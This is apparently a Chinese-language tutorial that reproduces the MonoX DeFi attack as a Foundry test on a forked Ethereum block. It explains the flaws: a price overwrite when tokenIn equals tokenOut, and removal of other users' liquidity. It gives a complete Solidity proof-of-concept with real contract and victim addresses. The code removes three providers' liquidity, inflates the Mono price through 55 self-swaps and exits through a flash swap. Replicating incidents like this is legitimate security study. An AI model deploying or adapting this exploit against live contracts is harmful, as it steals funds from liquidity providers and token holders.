Mono攻击事件的介绍见:Defi安全–Monox攻击事件分析–phalcon+etherscan
Monox使用单边池模型,创建的是代币-vCash交易对,添加流动性时,只需添加代币,即可进行任意代币的兑换
主要的漏洞有两个方面:
tokenIn
和tokenOut
相等的情况,代码逻辑处理的时候,出现价格覆盖的情况,Mono代币价格异常抬升,具体可见相关攻击实现的分析。foundry进行外部合约调用的时候,用interface定义相应的方法,并定义对应合约的地址,实现外部合约的调用(觉得比较好的方式)
pragma solidity >=0.7.0 <0.9.0;
import "forge-std/Test.sol";
interface IERC20 {
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function deposit() external payable;
}
interface IuniswapV2pair {
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
interface IMonoswap {
function removeLiquidity (address _token, uint256 liquidity, address to,uint256 minVcashOut, uint256 minTokenOut) external returns(uint256 vcashOut, uint256 tokenOut);
function addLiquidity(address _token, uint256 _amount, address to) external returns (uint256 liquidity);
function swapExactTokenForToken(
address tokenIn,
address tokenOut,
uint amountIn,
uint amountOutMin,
address to,
uint deadline
) external returns (uint amountOut);
function swapTokenForExactToken(
address tokenIn,
address tokenOut,
uint256 amountInMax,
uint256 amountOut,
address to,
uint256 deadline
) external returns (uint256 amountIn);
function pools(address)
external
view
returns (
uint256 pid,
uint256 lastPoolValue,
address token,
uint8 status,
uint112 vcashDebt,
uint112 vcashCredit,
uint112 tokenBalance,
uint256 price,
uint256 createdAt
);
}
interface IMonoXPool {
function totalSupplyOf(uint256 pid) external returns (uint256);
function balanceOf(address account, uint256 id) external returns (uint256);
}
address constant uniswapv2pair = 0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc;
address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant Monoswap = 0xC36a7887786389405EA8DA0B87602Ae3902B88A1;
address constant MonoXPool = 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4;
address constant Mono = 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D;
address constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address constant liquidity_user1 = 0x7B9aa6ED8B514C86bA819B99897b69b608293fFC;
address constant liquidity_user2 = 0x81D98c8fdA0410ee3e9D7586cB949cD19FA4cf38;
address constant liquidity_user3 = 0xab5167e8cC36A3a91Fd2d75C6147140cd1837355;
攻击代码
调用forge进行测试
forge test --match-contract test_Monox -vv
结果:
contract test_Monox is Test{
function setUp() public {
vm.createSelectFork("https://rpc.ankr.com/eth", 13_715_025);
}
//首先folk以太坊上对应区块的状态
function test_Monox_exploit() public {
IERC20(Mono).approve(address(Monoswap), type(uint256).max);
IERC20(weth).deposit{value: address(this).balance, gas: 40_000}();
console.log("WETH balance: ", IERC20(weth).balanceOf(address(this)));
IERC20(weth).approve(address(Monoswap), 0.1 ether);
//在进行对应的代币转移的时候,一定要记得先进行approve操作
IMonoswap(Monoswap).swapExactTokenForToken(weth, Mono, 0.1 ether, 1, address(this), 1638278872);
console.log("Mono balance: ", IERC20(Mono).balanceOf(address(this)));
//提取weth,并调用monoswap的函数,将0.1weth换成对应的Mono代币,易进行后续操作
remove_liquidity_user();
uint liquidity = IMonoswap(Monoswap).addLiquidity(address(Mono), 196975656, address(this));
console.log("attacker gain liquidity: ", liquidity);
//攻击者自己添加对应的流动性,获得对应LP流动性证明,为后续拉升Mono价格做准备
raise_mono_price();
swap_mono_for_weth();
//将对应高价格的mono代币置换成weth
}
function remove_liquidity_user() public {
(uint pid,,,,,,,,) = IMonoswap(Monoswap).pools(address(Mono));
uint balance = IMonoXPool(MonoXPool).totalSupplyOf(pid);
console.log("pid: ", pid);
console.log("monoXpool's mono balance: ", balance);
uint balance1 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user1), pid);
IMonoswap(Monoswap).removeLiquidity(address(Mono), balance1, address(liquidity_user1), 0, 1);
uint balance2 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user2), pid);
IMonoswap(Monoswap).removeLiquidity(address(Mono), balance2, address(liquidity_user2), 0, 1);
uint balance3 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user3), pid);
IMonoswap(Monoswap).removeLiquidity(address(Mono), balance3, address(liquidity_user3), 0, 1);
//漏洞函数,根据phalcon的调用序列,移除对应用户的流动性
uint balance_afterremove = IMonoXPool(MonoXPool).totalSupplyOf(pid);
console.log("monoXpool's mono balance after remove liquidity", balance_afterremove);
}
function raise_mono_price() public {
for(uint i = 0 ; i < 55 ; i++){
(uint pid ,,,,,,uint tokenBalance,uint price, ) = IMonoswap(Monoswap).pools(address(Mono));
uint balance = IERC20(Mono).balanceOf(address(this));
IMonoswap(Monoswap).swapExactTokenForToken(address(Mono), address(Mono), tokenBalance ,0, address(this), 1638278872);
console.log("Mono token Price - ",i,": ", price);
}
//按照对应的调用序列,得到池子里的Mono余额,并调用对应的漏洞函数,swapEaxctTokenForToken
}
function swap_mono_for_weth() public {
uint weth_balance = IERC20(weth).balanceOf(address(this));
console.log("attacker weth balance: ", weth_balance);
uint mono_balance = IERC20(Mono).balanceOf(address(this));
console.log("attacker mono balance: ", mono_balance);
IuniswapV2pair(uniswapv2pair).swap(0, 547_206_697_433_507_365_949, address(this), "0x00");
//闪电贷,借贷weth和usdc的pair对
uint weth_balance2 = IERC20(weth).balanceOf(address(this));
console.log("attacker weth balance: ", weth_balance2 - weth_balance);
uint mono_balance2 = IERC20(Mono).balanceOf(address(this));
console.log("attacker mono balance: ", mono_balance - mono_balance2);
}
function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public{
uint balance = IERC20(Mono).balanceOf(address(this));
IMonoswap(Monoswap).swapTokenForExactToken(address(Mono), address(usdc), balance, 4029106880396, address(this), 1638278872);
bool success = IERC20(usdc).transfer(address(uniswapv2pair),3029106880396);
require(success);
//在回调函数中,调用monoswap对应的函数,将mono换成对应的usdc,实现对应的usdc还款。
}
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4){
bytes4 a = bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
// a = 0xf23a6e61
return a;
}
//在添加流动性的时候,会回调对应的函数,否则会报错
}
攻击poc如果没有定义相应的的onERC1155Received,则在流动性生成时会报错,如下图所示: